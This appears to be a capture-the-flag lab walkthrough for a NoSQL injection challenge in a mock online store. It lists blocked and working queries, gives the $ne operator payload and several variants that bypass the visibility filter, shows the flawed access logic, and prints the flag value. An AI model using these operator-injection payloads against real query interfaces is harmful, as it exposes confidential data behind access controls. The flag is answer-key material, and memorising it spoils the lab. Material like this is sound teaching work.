Step 1: Click on the green button to Start the Lab
Step 2: Hack the URL or IP of the lab
Step 3: Use your skills and logic to find the flags!
This challenge has a realistic security implementation where normal visibility filters work correctly, but there's a confidential product that can only be accessed through a specific $ne operator vulnerability. The key is understanding that the application allows legitimate visibility queries but has a special case for the $ne operator.
<target-ip>
to see TechStoreWorking Normal Queries:
{"category": "electronics"} // Returns electronics products
{"visibility": "public"} // Returns all public products
{"visibility": "internal"} // Returns internal test product
{"visibility": {"$eq": "internal"}} // Also works with $eq operator
Blocked Queries:
{"visibility": "confidential"} // Blocked - returns public only
{"visibility": "v_confidential"} // Blocked - returns public only
{"visibility": {"$eq": "v_confidential"}} // Also blocked
Other Blocked Attempts:
{"price": {"$gt": 1000}} // No confidential products
{"price": {"$ne": 1000}} // $ne on price doesn't work
{"category": {"$ne": "electronics"}} // $ne on category doesn't work
The Working Payload:
{"visibility": {"$ne": "public"}}
The confidential flag product has distinctive styling that makes it easy to identify:
These alternative $ne values also work to reveal the confidential product:
{"visibility": {"$ne": "internal"}} // Works
{"visibility": {"$ne": "private"}} // Works
{"visibility": {"$ne": "restricted"}} // Works
{"visibility": {"$ne": "hidden"}} // Works
{"visibility": {"$ne": null}} // Works
{"visibility": {"$ne": ""}} // Works
All of these work because they use the $ne operator on the visibility field, which is the specific vulnerability in the application's security logic.
The application implements this security logic:
Application Security Logic:
if (visibility field uses $ne operator) {
// Special case: allow access to confidential products
return all_matching_products
} else if (trying to access v_confidential directly) {
// Block direct access
return public_products_only
} else {
// Allow normal visibility filtering but exclude confidential
return requested_visibility + exclude_confidential
}
{"visibility": {"$ne": "public"}}
Complete Exploit:
1. Navigate to <target-ip>
2. Use Advanced Search: {"visibility": {"$ne": "public"}}
3. Find purple "Admin Hidden Flag" product
4. Extract: f4c46a22-8a77-4ba9-a7d1-1910bbcfd0af
This NoSQL injection challenge demonstrates how subtle differences in operator handling can create security vulnerabilities. While the application correctly implements access controls for most scenarios, the special handling of the $ne operator on the visibility field creates a bypass that allows access to confidential data. The challenge teaches the importance of consistent security implementation across all operators and the need for comprehensive testing of NoSQL query interfaces. The distinctive purple styling of the confidential product makes it easy to identify when the exploit succeeds, providing clear visual feedback for learning purposes.
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.